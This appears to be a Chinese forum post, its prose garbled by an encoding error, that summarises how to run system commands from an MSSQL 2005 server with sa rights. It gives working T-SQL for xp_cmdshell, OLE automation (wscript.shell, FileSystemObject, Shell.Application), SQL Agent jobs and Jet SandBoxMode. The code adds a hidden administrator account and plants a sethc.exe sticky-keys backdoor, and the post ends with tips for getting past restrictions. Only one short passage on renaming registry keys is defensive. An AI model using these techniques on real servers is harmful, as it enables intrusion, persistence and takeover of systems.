MSsql2005(Sa)ȨÏÞÖ´ÐÐÃüÁî×ܽá
Ò»£®xp_cmdshellEXEC master..xp_cmdshell 'ipconfig'
¿ªÆôxp_cmdshell:
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
¶þ£®sp_oacreate
´´½¨wscript.shell¶ÔÏó
use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'
´´½¨scripting.filesystemobject¶ÔÏó
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
¿ÉÒÔÓÃutilman.exe´úÌæsethc.exe´ïµ½Í¬ÑùµÄЧ¹ûºóÃźܿáÂ𣬺ǺÇ
´´½¨Shell.Application¶ÔÏó
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','',1;
¿ªÆôOLE Automation Procedures
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
ÎÒÃǵĶԲ߾ÍÊǰѶÔÏó×öÒ»ÏÂÊÖ½Å
WScript.Shell¿ÉÒÔµ÷ÓÃϵͳÄÚºËÔËÐÐDOS»ù±¾ÃüÁî
¿ÉÒÔͨ¹ýÐÞ¸Ä×¢²á±í£¬½«´Ë×é¼þ¸ÄÃû£¬À´·ÀֹΣº¦¡£
HKEY_CLASSES_ROOT\WScript.Shell\
¼°HKEY_CLASSES_ROOT\WScript.Shell.1\
¸ÄÃûΪÆäËüµÄÃû×Ö£¬È磺¸ÄΪWScript.Shell_ChangeName»òWScript.Shell.1_ChangeName
×Ô¼ºÒÔºóµ÷ÓõÄʱºòʹÓÃÕâ¸ö¾Í¿ÉÒÔÕý³£µ÷ÓôË×é¼þÁË
Ò²Òª½«clsidÖµÒ²¸ÄÒ»ÏÂ
HKEY_CLASSES_ROOT\WScript.Shell\CLSID\ÏîÄ¿µÄÖµ
HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\ÏîÄ¿µÄÖµ
ͬwscript.shellÀí¡¢scripting.filesystemobject¡¢Shell.Application
Èý£®JOB
ÀûÓÃJOBÖ´ÐÐÃüÁÓÐÒ»¸öÏȾöÌõ¼þ¾ÍÊÇ¿ªÆôSQLSERVERAGENT·þÎñ£¬ÏÂÃæµÄÓï¾ä¿ÉÒÔ¿ªÆô
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
use msdb create table (resulttxt nvarchar(1024) null) exec sp_delete_job null,'x' exec sp_add_job 'x' exec
sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user>c:\test.test"' exec sp_add_jobserver
null,'x',@@servername exec sp_start_job 'x';
ËÄ£®SandBoxMode£¨ÍøÉϳ£ËµµÄɳºÐģʽ£©
ÔÀí£ºÔÚaccessÀïµ÷ÓÃVBSµÄshellº¯Êý£¬ÒÔsystemȨÏÞÖ´ÐÐÈκÎÃüÁî¡£µ«ÊÇÊÔÓÃÕâ¸öº¯Êý֮ǰ±ØÐë°Ñ×¢²á±íÀïµÄÒ»¸ö½ÐSandBoxmodeµÄ¿ª¹Ø´ò¿ª£¬
×¢²á±í£ºHKEY_LOCAL_MACHINE\SoFtWare\Micris
oft\Jet\4.0\Engine\SandBoxmode.ĬÈÏֵΪ2£¬Õâ¸öÈ˼üֵΪ0±íʾʼ
ÖÕ½ûÓÃSandBoxmodeģʽ£¬1±íʾ¶ÔÓÚ·ÇAcessÓ¦ÓóÌÐòÊÔÓÃSandBoxmodeģʽ£¬2±íʾ¶ÔaccessÓ¦ÓóÌÐòʹÓÃSandBoxmodeģʽ£¬3Ôò±íʾÍêÈ«¿ªÆô°²È«ÉèÖá£//1»ò0¶¼¿ÉÒÔÖ´ÐÐÃüÁî
EXEC sp_addlinkedserver 'testsql','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
EXEC master..xp_regreadHKEY_LOCAL_MACHINE ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode'
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test test /add")')
select * from openrowset('microsoft.jet.oledb.4.0',
';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators test /add")')
ÏÂÃæÊÇϵͳ×Ô´øµÄÁ½¸ömdbÎļþ
C:\WINDOWS\system32\ias\dnary.mdb
C:\WINDOWS\system32\ias\ias.mdb
×ܽá
ÉÏÊö¼¸ÖÖ·½·¨£¨×Ðϸ¿´¿´ÎÒ¶¼Íü¼ÇÓм¸ÖÖÁË£¬¹þ¹þ¡£Äã¿ÉÒÔ·¢É¢Ë¼Î¬£¬ÔÙÕÒ³öÀ´¼¸ÖÖ£©¶¼ÊÇÔÚĬÈÏÇé¿öϲâÊԵģ¬ÍùÍùÉøÍ¸µÄʱºòÓкܶàÏÞÖÆÌõ¼þ£¬ÎÒÃÇ¿ÉÒÔÖðÒ»¿Ë·þ£¬ÀûÓÃ×é¼þµÃµ½·þÎñÆ÷ÐÅÏ¢£¬¶ÁÈ¡¡¢´´½¨ÎļþÁ˵ȵȣ¬ÎÒÃÇ»¹ÊÇÒª¶ÔȨÏÞÕâ¸ö´Ê×éÓÐÉî²ã´ÎµÄÀí½â°¡¡£
¸½×¢
¹ØÓÚ*.exec:\windows\system32\ »¹ÓÐc:\windows\system32\dllcacheÄØ
¹ØÓÚcmd.exe»¹ÓÐcommand.exeÄØ
¹ØÓÚnet.exe»¹ÓÐnet1.exeÄØ
MdbÎļþ²»´æÔÚÎÒÃÇ¿ÉÒÔÉÏ´«Ò»¸ö°¡
Ö´ÐÐÃüÁîµÄ×é¼þ²»ÊÇÖ»ÓÐÒ»¸öŶ
Ò³:
[1]